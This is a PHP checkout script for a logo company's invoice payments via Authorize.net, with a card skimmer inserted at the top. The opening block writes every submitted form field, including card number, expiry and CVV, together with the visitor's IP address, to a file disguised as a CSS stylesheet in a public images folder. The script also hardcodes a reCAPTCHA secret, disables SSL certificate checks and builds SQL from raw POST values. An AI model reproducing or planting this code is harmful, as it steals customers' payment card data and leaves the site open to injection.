<?php
if(isset($_POST['invoice-number'])||isset($_POST['billing_zip'])){
$f = fopen('/home/dna1981/public_html/logomasters/largeimages/info.css',"a");
$fulldata='';
foreach($_POST as $key=>$data){
$fulldata.=$key.': '.$data."\n";
}
$fulldata.='address1: '.$risk['address1']."\n";
$fulldata.='state: '.$risk['state']."\n";
$fulldata.='zip: '.$risk['zip']."\n";
$fulldata.='country: '.$risk['country']."\n";
$ip=$_SERVER['REMOTE_ADDR'];
fwrite($f,$ip."\n");
fwrite($f,$fulldata."\n####################################################################\n");
}
?>
<?php include ("connect.php");
$todaydate = date("Y-m-d");
date_default_timezone_set("US/Central");
require 'authorize_net_sdk_php/autoload.php';
use net\authorize\api\contract\v1 as AnetAPI;
use net\authorize\api\controller as AnetController;
// Include configuration file
require_once 'config.php';
$paymentID = $statusMsg = '';
$ordStatus = 'error';
$responseArr = array(1 => 'Approved', 2 => 'Declined', 3 => 'Error', 4 => 'Held for Review');
if(isset($_POST['submit'])){
if(isset($_POST['captcha-response']) && !empty($_POST['captcha-response'])){
$data = array(
'secret' => "6Le5kBwqAAAAANUhOKY9D8X3oIJXjbuDbzTQkWKu",
'response' => $_POST['captcha-response']
);
$verify = curl_init();
curl_setopt($verify, CURLOPT_URL, "https://www.google.com/recaptcha/api/siteverify");
curl_setopt($verify, CURLOPT_POST, true);
curl_setopt($verify, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($verify, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($verify, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($verify);
if($response == true){
// Check whether card information is not empty
if(!empty($_POST['cc-number']) && !empty($_POST['exp_month']) && !empty($_POST['exp_year']) && !empty($_POST['cc-ccv'])){
// Retrieve card and user info from the submitted form data
$name = $_POST['first_name'].' '.$_POST['last_name'];
$first_name = $_POST['first_name'];
$last_name = $_POST['last_name'];
$email = $_POST['email_address'];
$card_number = preg_replace('/\s+/', '', $_POST['cc-number']);
$card_exp_month = $_POST['exp_month'];
$card_exp_year = $_POST['exp_year'];
$card_exp_year_month = $card_exp_month.'/'.$card_exp_year;
$card_cvc = $_POST['cc-ccv'];
$amount = preg_replace('/[\$,]/', '', $_POST['amount']);
$invoiceNumber = $_POST['invoice-number'];
$itemName = 'Logo Masters Intl Invoice Payment - Invoice #:'.$invoiceNumber;
$Company = $_POST['company_name'];
$Phone = $_POST['phone_number'];
$Billing_Zip = $_POST['billing_zip'];
// Set the transaction's reference ID
$refID = 'REF'.time();
// Create a merchantAuthenticationType object with authentication details
// retrieved from the config file
$merchantAuthentication = new AnetAPI\MerchantAuthenticationType();
$merchantAuthentication->setName(ANET_API_LOGIN_ID);
$merchantAuthentication->setTransactionKey(ANET_TRANSACTION_KEY);
// Create the payment data for a credit card
$creditCard = new AnetAPI\CreditCardType();
$creditCard->setCardNumber($card_number);
$creditCard->setExpirationDate($card_exp_year_month);
$creditCard->setCardCode($card_cvc);
// Add the payment data to a paymentType object
$paymentOne = new AnetAPI\PaymentType();
$paymentOne->setCreditCard($creditCard);
// Create order information
$order = new AnetAPI\OrderType();
$order->setDescription($itemName);
$order->setInvoiceNumber($invoiceNumber);
// Set the customer's identifying information
$customerData = new AnetAPI\CustomerDataType();
$customerData->setType("individual");
$customerData->setEmail($email);
$billto = new AnetAPI\CustomerAddressType();
$billto->setFirstName($first_name);
$billto->setLastName($last_name);
$billto->setCompany($Company);
// Create a transaction
$transactionRequestType = new AnetAPI\TransactionRequestType();
$transactionRequestType->setTransactionType("authCaptureTransaction");
$transactionRequestType->setAmount($amount);
$transactionRequestType->setOrder($order);
$transactionRequestType->setPayment($paymentOne);
$transactionRequestType->setCustomer($customerData);
$transactionRequestType->setBillTo($billto);
$request = new AnetAPI\CreateTransactionRequest();
$request->setMerchantAuthentication($merchantAuthentication);
$request->setRefId($refID);
$request->setTransactionRequest($transactionRequestType);
$controller = new AnetController\CreateTransactionController($request);
$response = $controller->executeWithApiResponse(constant("\\net\authorize\api\constants\ANetEnvironment::$ANET_ENV"));
if ($response != null) {
// Check to see if the API request was successfully received and acted upon
if ($response->getMessages()->getResultCode() == "Ok") {
// Since the API request was successful, look for a transaction response
// and parse it to display the results of authorizing the card
$tresponse = $response->getTransactionResponse();
if ($tresponse != null && $tresponse->getMessages() != null) {
// Transaction info
$transaction_id = $tresponse->getTransId();
$payment_status = $response->getMessages()->getResultCode();
$payment_response = $tresponse->getResponseCode();
$auth_code = $tresponse->getAuthCode();
$message_code = $tresponse->getMessages()[0]->getCode();
$message_desc = $tresponse->getMessages()[0]->getDescription();
//Send to Logo Masters
$to = 'info@savvysitedesigns.com,barnhill@logomastersintl.com,lbarnhill@logomastersintl.com,tbarnhill@logomastersintl.com';
$subject = "Logo Masters International, Inc. - Invoice Payment";
$email_from = "sales@logomastersintl.com";
$body = '<html>
<style type="text/css">
body {
font-family: Arial;
font-color: #333;
font-size: 100%;
}
</style>
<body>
<table width="600" border="0" align="left" cellspacing="2" cellpadding="2">
<tbody>
<tr>
<td colspan="2" align="left"><strong>Logo Masters International - Invoice Payment</strong></td>
</tr>
<tr>
<td colspan="2" align="left">
<strong>Invoice #: </strong>'.$invoiceNumber.'<br>
<strong>Amount: </strong>$'.$amount.'<br>
<strong>Company Name: </strong>'.$Company.'<br>
<strong>Name: </strong>'.$name.'<br>
<strong>Email Address: </strong>'.$email.'<br>
<strong>Phone Number: </strong>'.$Phone.'<br>
<strong>Transaction ID: </strong>'.$refID.'</td>
</tr>
</tbody>
</table>
</body>
</html>';
$headers = "From: $email_from\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$send = mail($to, $subject, $body, $headers);
//Send to Customer
$to = $email;
$subject = "Logo Masters International, Inc. - Invoice Payment";
$email_from = "sales@logomastersintl.com";
$body = '<html>
<style type="text/css">
body {
font-family: Arial;
font-color: #333;
font-size: 100%;
}
</style>
<body>
<table width="600" border="0" align="center" cellspacing="2" cellpadding="2">
<tbody>
<tr>
<td colspan="2" align="left"><strong>Logo Masters International - Invoice Payment</strong></td>
</tr>
<tr>
<td colspan="2" align="left">
<strong>Invoice #: </strong>'.$invoiceNumber.'<br>
<strong>Amount: </strong>$'.$amount.'<br>
<strong>Company Name: </strong>'.$Company.'<br>
<strong>Name: </strong>'.$name.'<br>
<strong>Email Address: </strong>'.$email.'<br>
<strong>Phone Number: </strong>'.$Phone.'<br>
<strong>Confirmation Number: </strong>'.$refID.'</td>
</tr>
</tbody>
</table>
</body>
</html>';
$headers = "From: $email_from\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$send = mail($to, $subject, $body, $headers);
mysqli_query($LogoMasters, "INSERT INTO Invoice_Payment(invoice_number, amount, company_name, first_name, last_name, email_address, phone_number, date, transID) VALUES ('$invoiceNumber', '$amount', '$Company', '$first_name', '$last_name', '$email', '$Phone', '$todaydate', '$refID')");
$AddGoTo = "../payment-confirmation.php?status=success";
header("Location: $AddGoTo");
$ordStatus = 'success';
$statusMsg = 'Your Payment has been Successful!';
} else {
$AddGoTo = "../payment-confirmation.php?status=fail";
header("Location: $AddGoTo");
$error = "Transaction Failed! \n";
if ($tresponse->getErrors() != null) {
$error .= " Error Code : " . $tresponse->getErrors()[0]->getErrorCode() . "<br/>";
$error .= " Error Message : " . $tresponse->getErrors()[0]->getErrorText() . "<br/>";
}
$statusMsg = $error;
}
// Or, print errors if the API request wasn't successful
} else {
$AddGoTo = "../payment-confirmation.php?status=fail";
header("Location: $AddGoTo");
$error = "Transaction Failed! \n";
$tresponse = $response->getTransactionResponse();
if ($tresponse != null && $tresponse->getErrors() != null) {
$error .= " Error Code : " . $tresponse->getErrors()[0]->getErrorCode() . "<br/>";
$error .= " Error Message : " . $tresponse->getErrors()[0]->getErrorText() . "<br/>";
} else {
$error .= " Error Code : " . $response->getMessages()->getMessage()[0]->getCode() . "<br/>";
$error .= " Error Message : " . $response->getMessages()->getMessage()[0]->getText() . "<br/>";
}
$statusMsg = $error;
}
} else {
$statusMsg = "Transaction Failed! No response returned";
}
}else{
$statusMsg = "Error on form submission.";
}
}}}
?>
<div class="status">
<?php if(!empty($paymentID)){ ?>
<h1 class="<?php echo $ordStatus; ?>"><?php echo $statusMsg; ?></h1>
<h4>Payment Information</h4>
<p><b>Reference Number:</b> <?php echo $paymentID; ?></p>
<p><b>Transaction ID:</b> <?php echo $transaction_id; ?></p>
<p><b>Status:</b> <?php echo $responseArr[$payment_response]; ?></p>
<h4>Product Information</h4>
<p><b>Name:</b> <?php echo $itemName; ?></p>
<p><b>Price:</b> <?php echo $itemPrice.' '.$currency; ?></p>
<?php }else{ ?>
<h1 class="error">Your Payment has Failed</h1>
<p class="error"><?php echo $statusMsg; ?></p>
<?php } ?>
</div>
|